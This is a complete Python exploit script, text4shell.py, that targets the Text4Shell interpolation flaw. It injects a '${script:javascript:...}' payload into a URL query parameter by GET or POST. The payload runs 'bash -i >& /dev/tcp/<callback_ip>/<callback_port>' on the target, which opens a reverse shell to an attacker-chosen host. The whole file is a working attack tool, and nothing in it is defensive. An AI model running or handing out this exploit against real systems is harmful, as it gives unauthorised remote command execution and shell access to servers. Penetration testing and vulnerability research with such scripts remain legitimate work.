text4shell.py

#!/usr/bin/env python3

import urllib.parse
import http.client
import sys

def usage():
    print("Usage: python3 text4shell.py <target_ip> <target_port> <callback_ip> <callback_port> <method>")
    print("Example: python3 text4shell.py 192.168.110.150 8080 192.168.45.154 4444 GET")
    sys.exit(1)

if len(sys.argv) != 6:
    usage()

target_ip = sys.argv[1]
target_port = int(sys.argv[2])
callback_ip = sys.argv[3]
callback_port = sys.argv[4]
method = sys.argv[5].upper()

if method not in ["GET", "POST"]:
    print("[!] Invalid method. Use GET or POST.")
    usage()

# Malicious payload
raw_payload = (
    f"${{script:javascript:var p=java.lang.Runtime.getRuntime().exec("
    f"['bash','-c','bash -c \\'exec bash -i >& /dev/tcp/{callback_ip}/{callback_port} 0>&1\\''])}}"
)
encoded_payload = urllib.parse.quote(raw_payload)

# Vulnerable parameter (change if needed)
path = f"/search?query={encoded_payload}"

print(f"[!] Ensure the path and parameter are correct for the target")
print(f"[+] Target: http://{target_ip}:{target_port}{path}")
print(f"[+] Payload (decoded): {raw_payload}")
print(f"[+] Using HTTP method: {method}")

try:
    conn = http.client.HTTPConnection(target_ip, target_port)

    if method == "GET":
        conn.request("GET", path, headers={
            "Host": target_ip,
            "User-Agent": "Mozilla/5.0",
            "Accept": "*/*"
        })
    else:  # POST
        conn.request("POST", path, body="", headers={
            "Host": target_ip,
            "Content-Type": "application/json",
            "Content-Length": "0"
        })

    response = conn.getresponse()
    print(f"[+] Response Status: {response.status}")
    print(response.read().decode())
    conn.close()
except Exception as e:
    print(f"[!] Exploit failed: {e}")